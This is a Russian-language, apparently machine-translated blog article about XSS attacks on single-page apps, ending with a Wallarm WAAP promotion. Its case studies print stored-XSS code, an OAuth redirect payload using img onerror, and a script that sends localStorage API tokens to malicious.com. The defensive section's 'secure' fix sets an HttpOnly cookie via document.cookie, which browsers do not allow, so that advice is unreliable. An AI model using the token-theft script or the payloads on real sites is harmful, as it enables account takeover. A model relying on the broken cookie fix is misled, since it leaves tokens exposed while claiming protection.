Скрытые ловушки API: XSS-атаки в одностраничных приложениях (SPA)

Скрытые ловушки API: XSS-атаки в одностраничных приложениях (SPA)

5 июня 2023 г.

Содержание

  • Глава 1. Раскрытие взаимосвязей: SPA, APIS и XSS
  • Глава 2. Практические примеры: изучение реальных XSS-атак на SPA
  • Глава 3. Укрепление нашего цифрового города: стратегии смягчения последствий
  • Глава 4. Развертывание Digital Avengers: защита веб-приложений и API (WAAP)

Глава 1. Раскрытие взаимосвязей: SPA, API и XSS

1.1 Понимание SPA и их взаимодействия с API

В сердце оживленного цифрового центра одностраничные приложения (SPA) заняли первоклассное место. Как загруженная городская система, SPA перетасовывают данные между клиентом и сервером, не вызывая волнения на поверхности. Эти сложные приложения плавно работают на одной веб-странице, предоставляя пользователям беспрепятственный и быстрый опыт, аналогичный быстрой работе родного настольного приложения.

Чтобы все работало «под капотом», у SPA есть секретный союзник: интерфейсы прикладного программирования или API. Думайте об API как о курьерах цифрового царства, которые несутся с пакетами данных, взаимодействуют между разрозненными системами и позволяют им взаимодействовать друг с другом. API — это надежные каналы, которые позволяют SPA работать вместе с эффективностью, извлечением, обновлением и управлением данными, не создавая помех для пользователя.

1.2 Как API могут потенциально привести к XSS в SPA

Однако, как и в любом шумном городе, всегда найдется парочка темных уголков. В нашем цифровом городском пейзаже этот уголок называется межсайтовым скриптингом или XSS. . Эта распространенная, но коварная уязвимость системы безопасности может превратить нашего надежного курьера, API, в невольного соучастника злонамеренной схемы.

Проблемы начинаются, когда API предоставляет данные, которые не были должным образом проверены или «очищены». Подобно почтовой бомбе в куче писем, непроверенные данные могут скрывать вредоносные сценарии, ожидающие возможности взорваться, как только они будут отображены на веб-странице. В случае с нашими SPA это означает, что единственная веб-страница может превратиться в рассадник для вредителей.

1.3 XSS-уязвимости: неявная угроза безопасности API в SPA

Но дело не только в очистке данных. Другие факторы, такие как сохраненные XSS-атаки, неправильно настроенные политики совместного использования ресурсов между источниками (CORS) и слабые политики безопасности контента (CSP) может превратить наш обычно безопасный и надежный API в катализатор хаоса. Даже токены API, специальные ключи, позволяющие взаимодействовать с API, могут быть украдены из localStorage, что приведет к несанкционированному доступу и злоупотреблению API.

В этом ландшафте реальность ясна: использование API в SPA, хотя и является революционным для пользовательского опыта, может быть ящиком Пандоры с уязвимостями безопасности. Это все равно, что узнать, что наш надежный курьер по незнанию передавал закодированные сообщения плохим парням.

По мере продвижения вперед мы будем анализировать примеры из реальной жизни, чтобы выявить скрытые подводные камни и вооружиться знаниями для борьбы с этими угрозами. Понимание — первый шаг к защите нашего цифрового мегаполиса от XSS-атак.

Глава 2. Практические примеры: изучение реальных XSS-атак на SPA

Прежде чем мы погрузимся в темные переулки нашего цифрового города, давайте проясним одну вещь: это не истории о привидениях, призванные отпугнуть вас от использования API или SPA. Скорее думайте об этом как о детективных историях, проливающих свет на потенциальные ловушки, чтобы лучше подготовиться к будущему. Как опытный детектив, знающий свой город вдоль и поперек, мы тоже должны разбираться в потаенных уголках нашего цифрового мегаполиса.

2.1 Дилемма окна комментариев: несанифицированные данные API

Представьте себе: у вас есть блестящий новый SPA с функцией поля для комментариев, где пользователи могут оставить свои пять центов. Это как общественная площадь, где люди могут поделиться своими мыслями. SPA использует API для извлечения этих комментариев с сервера и отображения их для всеобщего обозрения.

Но затем злонамеренный пользователь видит возможность. Они подсовывают вредоносный скрипт в поле комментария, нажимают «Отправить», и API покорно переносит эту опасную полезную нагрузку на сервер и обратно, не задумываясь.

Вот как это может выглядеть в коде:

javascriptCopy code// User input received through comment box
let userInput = `<script>malicious code here</script>`;

// User input is sent to the server through API
api.send('POST', '/comments', { comment: userInput });

И когда комментарии извлекаются другими пользователями:

javascriptCopy code// Fetch comments from server
let comments = api.fetch('GET', '/comments');

// Display comments without sanitizing them
comments.forEach(comment => {
  let commentElement = document.createElement('div');
  commentElement.innerHTML = comment.text;
  document.body.appendChild(commentElement);
});

Этот скромный фрагмент кода — бомба замедленного действия. Когда вредоносный скрипт доставляется в браузеры пользователей, он выполняется и сеет хаос. И худшая часть? API просто выполнял свою работу, а SPA ничего не понимал, пока не стало слишком поздно.

Это как уважаемый курьер по незнанию доставляет опасную посылку прямо к вашему порогу. Угроза была там, скрытая у всех на виду. Мы углубимся в этот сценарий и рассмотрим, как мы можем защитить нашу цифровую площадь от таких угроз в следующих разделах.

2.2 Инцидент с сообщением в блоге: XSS, сохраненные через API

Теперь давайте пройдем по еще одному сложному переулку в нашем цифровом мегаполисе: блогосфере. Представьте себе SPA, где пользователи могут публиковать свои проницательные блоги, и виртуальную мыльницу для обмена мыслями, идеями и опытом. Однако у этой демократичной цифровой трибуны есть и обратная сторона, если с ней не обращаться осторожно.

Давайте рассмотрим амбициозного, но злонамеренного пользователя. Они создают хорошо сформулированный пост в блоге, но вплетают в его тело вредоносный скрипт. Когда SPA отправляет это сообщение в блоге на сервер через API, сервер добросовестно сохраняет его, не подозревая о скрытой угрозе.

Вот как это может выглядеть в коде:

javascriptCopy code// User input received through blog post creation form
let blogPost = `<h1>My Awesome Blog Post</h1><p>Here's my blog post...</p><script>malicious code here</script>`;

// User input is sent to the server through API
api.send('POST', '/blogposts', { post: blogPost });

Каждый раз, когда пользователь посещает этот, казалось бы, безобидный пост в блоге, SPA получает пост через API и отображает его на своем экране. Но, поскольку вредоносный скрипт хранился на сервере, это похоже на ловушку, которая срабатывает каждый раз, когда читается сообщение в блоге.

javascriptCopy code// Fetch blog post from server
let blogPost = api.fetch('GET', '/blogposts/1');

// Display blog post without sanitizing it
let blogElement = document.createElement('div');
blogElement.innerHTML = blogPost.text;
document.body.appendChild(blogElement);

Эта хитрая, но разрушительная уловка известна как атака Stored XSS. Подобно мине, закопанной в поле, опасность дремлет, пока кто-нибудь не наткнется на нее, вызвав взрыв хаоса. API, как картограф, неосознанно наносящий на карту опасные территории, сыграл невольную роль в этой уловке.

2.3 Обманчивый запрос API: использование CORS и CSP

По мере того, как мы углубляемся в цифровой лабиринт, давайте обратим внимание на несколько протоколов безопасности, предназначенных для поддержания порядка: Общий доступ к ресурсам из разных источников (CORS) и политика безопасности контента (CSP). Это невоспетые герои веб-безопасности, молчаливые стражи, которые защищают от потенциальных атак. Однако, когда эти стражи работают слабо или неправильно настроены, это похоже на городские стены со скрытыми незащищенными воротами.

В качестве иллюстрации представьте SPA, которое позволяет пользователям обмениваться захватывающими фотографиями. Для этого SPA использует API для получения этих изображений с внешнего сервера. Но вот загвоздка: политика CORS сервера настроена неправильно. Эта ситуация может стать прекрасной возможностью для искусного злоумышленника.

Вот как злоумышленник может использовать это:

javascriptCopy code// The attacker crafts a deceptive request to the API from their malicious site
fetch('https://vulnerableSPA.com/api/photos', {
  method: 'GET',
  credentials: 'include' // This forces the browser to include cookies (which might contain session data) with the request
})
.then(response => response.json())
.then(data => {
  // The attacker now has access to data that they should not
});

Делая запрос к API со своего вредоносного веб-сайта и заставляя браузер включать учетные данные с этим запросом, они потенциально могут получить доступ к конфиденциальным данным пользователя. Если CSP сервера также неэффективен, это может позволить выполнение скриптов из неавторизованных источников, что приведет к дополнительным уязвимостям.

В полностью защищенном приложении политики CORS и CSP будут стоять как прочные городские стены, отражая любые злонамеренные запросы. Но в нашем случае неправильная конфигурация оставила скрытый бэкдор, секретный вход для тех, кто знал, где искать.

Продолжая это путешествие, помните: никакая защита не может быть слишком маленькой, и никакая политика не может быть слишком незначительной. Каждая линия обороны имеет значение, когда речь идет о безопасности нашего цифрового мегаполиса. В нашей следующей главе мы разоблачим сценарий, в котором даже сохраненные токены не защищены от любопытных глаз злодеев.

2.4 Украденный токен: злоупотребление API через скомпрометированное локальное хранилище

По мере того, как мы углубляемся в наш цифровой нуар, давайте рассмотрим еще один скромный, но ключевой персонаж в нашем сюжете: токен API. Токены API подобны секретным рукопожатиям в цифровой сфере, предоставляя доступ к привилегированному общению между клиентом и сервером. Но что произойдет, если это секретное рукопожатие попадет не в те руки?

Представьте SPA, где пользователи могут управлять своими учетными записями. Они могут входить в систему, вносить изменения и выходить из системы — все стандартные тарифы. Когда пользователь входит в систему, API отправляет токен аутентификации, который сохраняется в локальном хранилище браузера — удобном месте для хранения краткосрочных данных. Однако что, если это место не так безопасно, как мы думали?

Давайте установим сцену с помощью кода:

javascriptCopy code// User logs in
api.send('POST', '/login', { username: 'user', password: 'password' })
.then(response => {
  // The server returns an API token
  let token = response.token;

  // And the token is stored in localStorage
  localStorage.setItem('apiToken', token);
});

Но теперь злоумышленник нашел способ внедрить вредоносный скрипт в наш SPA. Этот скрипт считывает localStorage и отправляет сохраненные токены на сервер злоумышленника.

Вот план злоумышленника в коде:

javascriptCopy code// The malicious script
let stolenToken = localStorage.getItem('apiToken');

// The attacker sends the stolen token to their server
fetch('https://malicious.com/collectTokens', {
  method: 'POST',
  body: JSON.stringify({ token: stolenToken }),
  headers: { 'Content-Type': 'application/json' }
});

Вооружившись украденным токеном, злоумышленник теперь получает несанкционированный доступ к API и может бесчисленными способами злоупотреблять им. Это как если бы шпион украл ключи от города и теперь может свободно бродить, незамеченный и бесконтрольный.

Это тревожное напоминание о том, что наша цифровая крепость может иметь скрытые слабые места, области, которые мы можем не замечать как безопасные, но которые могут быть использованы. Далее мы рассмотрим, как даже доверенный протокол, такой как OAuth, может стать стартовой площадкой для XSS-атак. Так что не снимайте свои детективные шляпы и давайте продолжим раскрывать скрытые истории безопасности API.

2.5 Ловушка OAuth: XSS-атаки на реализацию OAuth

Поскольку наше цифровое расследование приближается к своему апогею, давайте рассмотрим неожиданного подозреваемого: OAuth, широко используемый открытый стандарт для делегирования доступа. OAuth похож на доверенного дипломата, безопасно переводящего пользователей из одной службы в другую. Однако в некоторых случаях даже этот дипломат может быть пойман на злонамеренную уловку.

Рассмотрим SPA, использующий OAuth, чтобы пользователи могли входить в систему с учетной записью социальной сети. Реализация выглядит добротно, и пользователи ценят удобство. Тем не менее, есть небольшая лазейка, которой можно воспользоваться.

В этом инциденте приложение имело небезопасную реализацию протокола OAuth 2.0, что делало его уязвимым для XSS-атак.

Вот как сработала лазейка:

javascriptCopy code// Malicious redirect_uri is crafted by the attacker
let redirect_uri = `https://vulnerableSPA.com/callback#access_token=<img src=x onerror=alert('XSS')>&token_type=bearer&state=xyz`;

// The attacker tricks a user into clicking a link like the following
let maliciousLink = `https://authorize.com/oauth/authorize?response_type=token&client_id=abc&redirect_uri=${encodeURIComponent(redirect_uri)}&state=xyz`;

В этой схеме злоумышленник создал вредоносный скрипт, содержащий redirect_uri, который выполнялся, когда SPA обрабатывал обратный вызов. Это позволило им запускать произвольный код JavaScript в контексте сеанса пользователя.

Коварный злоумышленник может воспользоваться этой лазейкой, обманом заставив пользователя щелкнуть ссылку, что приведет к выполнению вредоносного скрипта в браузере жертвы. Как будто наш доверенный дипломат неосознанно передал ключи от города, что привело к неисчислимому хаосу.

Эта история напоминает нам, что даже хорошо зарекомендовавшие себя протоколы могут иметь свою ахиллесову пяту. Когда дело доходит до безопасности SPA и API, нам нужно тщательно изучить каждый уголок, каким бы надежным и безопасным он ни казался.

Мы путешествовали по извилистым улочкам и темным уголкам нашего цифрового города, изучая тонкие способы использования API в SPA. Но не бойтесь, у каждой проблемы есть решение. В следующей главе мы будем использовать знания и инструменты для защиты наших API и SPA от XSS-атак. Давайте переломим ситуацию в этой цифровой детективной истории и узнаем, как защитить наш город.

Глава 3. Укрепление нашего цифрового города: стратегии смягчения последствий

После прогулки по туманным улочкам нашего цифрового мегаполиса, знакомства с историями об эксплуатации и хитрости, мы стоим на заре нового дня. Пришло время засучить рукава и начать заделывать трещины, укреплять стены и защищать наш город от коварных злоумышленников, скрывающихся в тени.

Давайте вооружимся нужными инструментами и знаниями, чтобы обеспечить безопасность нашего города. Давайте превратим его из уязвимой цели в устойчивую крепость. Ключом к этому преобразованию является понимание уязвимостей и принятие надежных стратегий их устранения.

3.1 Очистка данных: первая линия защиты

Наш первый шаг в укреплении нашего города — обеспечение чистоты, и я не говорю о сборе мусора с улиц. В мире SPA и API чистота означает очистку данных, которые передаются между ними. Мы видели, как несанкционированные данные могут быть троянским конем, безобидным на первый взгляд объектом, таящим в себе скрытую опасность.

Точно так же, как город обрабатывает свою воду, чтобы удалить любые потенциальные загрязнители, мы должны обрабатывать данные, поступающие в наш SPA. Процесс очистки данных включает их проверку и очистку, чтобы убедиться, что они не содержат вредоносных скриптов, которые могут привести к XSS-атакам.

Давайте вернемся к сценарию из нашей дилеммы поля для комментариев, но на этот раз давайте сделаем все правильно:

javascriptCopy code// Fetch comments from server
let comments = api.fetch('GET', '/comments');

// Sanitize and display comments
comments.forEach(comment => {
  let commentElement = document.createElement('div');
  commentElement.innerText = comment.text; // Using `innerText` instead of `innerHTML` to avoid script execution
  document.body.appendChild(commentElement);
});

Используя innerText вместо innerHTML, мы гарантируем, что любые скрипты в комментариях не будут выполняться. Это похоже на фильтр на городской водоочистной станции, улавливающий любые вредные вещества до того, как они попадут в городскую систему водоснабжения.

Дезинфекция данных подобна городскому департаменту здравоохранения, всегда бдительному, всегда обеспечивающему защиту граждан от скрытых угроз. Это первый шаг к более безопасному цифровому городу, но наша работа еще далека от завершения. Далее мы рассмотрим, как правильная настройка политик CORS и CSP может служить прочной стеной, защищающей наш город от любых нежелательных вторжений.

3.2 Укрепление стен: настройка правильных политик CORS и CSP

Теперь, когда мы обеспечили чистоту в нашем городе, пришло время укрепить наши стены и ворота. В нашем цифровом мегаполисе эти стены представлены политиками совместного использования ресурсов между источниками (CORS) и политикой безопасности контента (CSP).

CORS похож на городских привратников, определяющих, кто может войти в наш город, а кто нет. Правильно настроенная политика CORS может остановить злоумышленников, не позволяя им делать несанкционированные запросы к нашим API. Это бдительный страж, внимательно следящий за входящим трафиком.

CSP, с другой стороны, подобны городским стенам, защищающим город от внешних угроз. Ограничивая источники, из которых мы загружаем скрипты, изображения и другие ресурсы, CSP защищает от несанкционированного выполнения скриптов.

Давайте вернемся к нашему сценарию обманного запроса API, но на этот раз с правильно настроенными политиками CORS и CSP:

На стороне сервера (CORS):

javascriptCopy code// Server is set to only allow requests from trusted origins
app.use(cors({
  origin: 'https://trustedSPA.com',
  credentials: true,
}));

Клиентская сторона (CSP):

htmlCopy code<!-- The server sends a CSP header, allowing scripts to be loaded only from trusted sources -->
<meta http-equiv="Content-Security-Policy" content="script-src 'self' https://trustedCDN.com">

Во фрагменте кода на стороне сервера политика CORS настроена на разрешение запросов только от https://trustedSPA.com. Это гарантирует, что будут обрабатываться только запросы из этого надежного источника. Это как привратники нашего города, пропускающие только доверенных путешественников.

На стороне клиента CSP ограничивает загрузку скриптов только с самого сайта («я») и доверенной CDN. Любые скрипты из других источников блокируются, что добавляет еще один уровень безопасности.

При наличии надлежащих политик CORS и CSP наш цифровой город защищен от несанкционированных запросов и выполнения скриптов. Однако наше путешествие по обеспечению безопасности нашего города на этом не заканчивается. Далее мы рассмотрим варианты безопасного хранения наших токенов API, чтобы они не попали в чужие руки. Итак, вперед, друзья-хранители нашего цифрового мегаполиса. Рассвет безопасного города уже в наших руках!

3.3 На страже ключей от города: безопасное хранилище токенов

Мы очистили наши улицы и укрепили наши стены, но как насчет защиты ключей от города? Наши токены API, подобные этим ключам, обладают огромной силой. Они предоставляют привилегированный доступ к нашим API и в чужих руках могут вызвать хаос. Мы должны обеспечить их надежное хранение, подальше от посторонних глаз и коварных злодеев.

Хотя localStorage предлагает удобное решение для хранения, это все равно, что оставить ключи от города под ковриком — это не так безопасно, как может показаться. Более безопасным решением является использование файлов cookie HttpOnly, недоступных для JavaScript и, следовательно, защищенных от XSS-атак.

Давайте еще раз рассмотрим сценарий с украденным токеном, но на этот раз мы надежно храним токен API с помощью файлов cookie HttpOnly:

javascriptCopy code// User logs in
api.send('POST', '/login', { username: 'user', password: 'password' })
.then(response => {
  // The server sets the API token in a HttpOnly cookie
  document.cookie = `apiToken=${response.token}; HttpOnly`;
});

Даже если злоумышленнику удастся внедрить вредоносный скрипт в наше SPA, он не сможет получить доступ к файлам cookie HttpOnly для кражи токена API. Как будто мы заперли ключи от города в надежном хранилище, вне досягаемости городских врагов.

Благодаря надежному хранению наших токенов мы сделали еще один шаг к тому, чтобы сделать наш цифровой город более безопасным местом. Но еще многое предстоит сделать. В нашей следующей главе мы рассмотрим безопасные реализации OAuth и то, как мы можем помешать ему стать непреднамеренным соучастником атаки XSS. В городе рассветает, и конец нашего путешествия близок. Давайте идти вперед, вооружившись знаниями и готовы защитить каждый уголок нашего цифрового мегаполиса.

3.4 Обеспечение безопасного делегирования: правильное выполнение OAuth

Поскольку мы приближаемся к концу нашего путешествия, давайте вернемся к нашему доверенному дипломату, OAuth. Помните, как OAuth можно заманить в ловушку хитрой уловки? Давайте позаботимся о том, чтобы он выполнял свое предназначение: безопасное и беспрепятственное делегирование доступа, а не как уязвимая лазейка для злоумышленников.

Важным аспектом защиты OAuth является обеспечение того, чтобы URI перенаправления были строго ограничены доверенными источниками. Эта практика не позволяет злоумышленнику обманом заставить OAuth перенаправить на вредоносный сайт, неся с собой ценный токен доступа.

Возвращаясь к сценарию ловушки OAuth, мы можем улучшить реализацию OAuth, ограничив URI перенаправления. Это можно сделать в процессе настройки клиента OAuth.

javascriptCopy code// Register OAuth client
let client = new OAuth2Client({
  client_id: 'CLIENT_ID',
  client_secret: 'CLIENT_SECRET',
  redirect_uris: ['https://trustedSPA.com/callback'] // Only a trusted URI is allowed
});

Здесь redirect_uris ограничен URL-адресом обратного вызова доверенного SPA. Даже если злоумышленник попытается использовать другой redirect_uri, OAuth отклонит запрос. Это похоже на нашего доверенного дипломата, которого теперь сопровождает бдительный телохранитель, гарантирующий, что они не будут обманом выданы секретам города.

Наконец, обеспечение согласия и осведомленности пользователя во время потока OAuth также выступает в качестве дополнительного уровня безопасности. Когда пользователи информированы об информации, которой они делятся, и о том, с кем они делятся ею, они с меньшей вероятностью станут жертвами злонамеренных тактик.

Безопасно внедряя OAuth, мы гарантируем, что этот ценный инструмент останется благом, а не проклятием для нашего цифрового города. Наше путешествие подходит к концу, но у нас есть еще одна тема для обсуждения: внедрение решений безопасности веб-приложений, таких как WAAP, для всесторонней защиты. Давайте готовиться к последнему этапу, друзья-хранители, и вести наш город к заре безопасного дня.

Глава 4. Развертывание Digital Avengers: защита веб-приложений и API (WAAP)

Только когда вы думали, что использовали все приемы в книге, я приберег лучшее напоследок. Представьте, что в вашем распоряжении команда супергероев, готовых защитить ваш цифровой город от всех возможных угроз. Познакомьтесь с решениями для защиты веб-приложений и API (WAAP), нашими собственными цифровыми мстителями.

Надежное решение WAAP обеспечивает комплексную защиту от XSS-атак и многих других угроз. С помощью WAAP мы не просто устраняем уязвимости; мы направляем элитные силы безопасности для круглосуточного патрулирования нашего цифрового города. 🏙️🛡️

4.1 Супервозможности WAAP

Решения WAAP обладают несколькими сверхспособностями, каждая из которых уникальна и жизненно важна для безопасности нашего цифрового города. Они обеспечивают защиту от различных векторов атак, обеспечивая всестороннюю безопасность. Они похожи на Капитана Америку наших цифровых Мстителей, обеспечивая надежную защиту от множества угроз.

Вот вам анекдот:

<цитата>

Почему злоумышленникам XSS не нравятся решения WAAP? Потому что им не нравится вкус собственного лекарства! 🤣

4.2 Призыв цифровых мстителей: внедрение WAAP

Теперь, когда мы знаем о сверхспособностях WAAP-решений, как нам вызвать наших цифровых Мстителей? Ответ заключается в том, чтобы найти правильное решение WAAP, соответствующее вашим потребностям.

Одним из таких решений является Wallarm, WAAP нового поколения, обеспечивающий автоматическую защиту ваших API и приложений. Благодаря надежной безопасности API, защите от ботов и расширенному обнаружению угроз Валарм является лидером среди решений WAAP — мощных и надежных.

Вот еще анекдот для поднятия настроения: Почему компьютер холодный? Он оставил окна открытыми! Мы ведь не хотим оставлять окна нашего цифрового города открытыми, не так ли? 🤭

Хотите увидеть Валарм в действии? Вы можете запросить демонстрацию с их веб-сайта. Кто знает, может быть, он станет идеальным защитником вашего цифрового города.

С такими решениями WAAP, как Wallarm, мы завершаем наше путешествие. Мы прошли по туманным улицам, раскрыли скрытые угрозы и, наконец, открыли рассвет безопасного дня для нашего цифрового города.

Итак, вот и подошло к концу наше приключение, товарищи стражи. Пусть наш цифровой город процветает в безопасности и процветании под бдительным присмотром наших цифровых Мстителей. До следующего раза, держите эти детективные шляпы и никогда не прекращайте исследовать. 🕵️‍♀️🚀


Оригинал
PREVIOUS ARTICLE
NEXT ARTICLE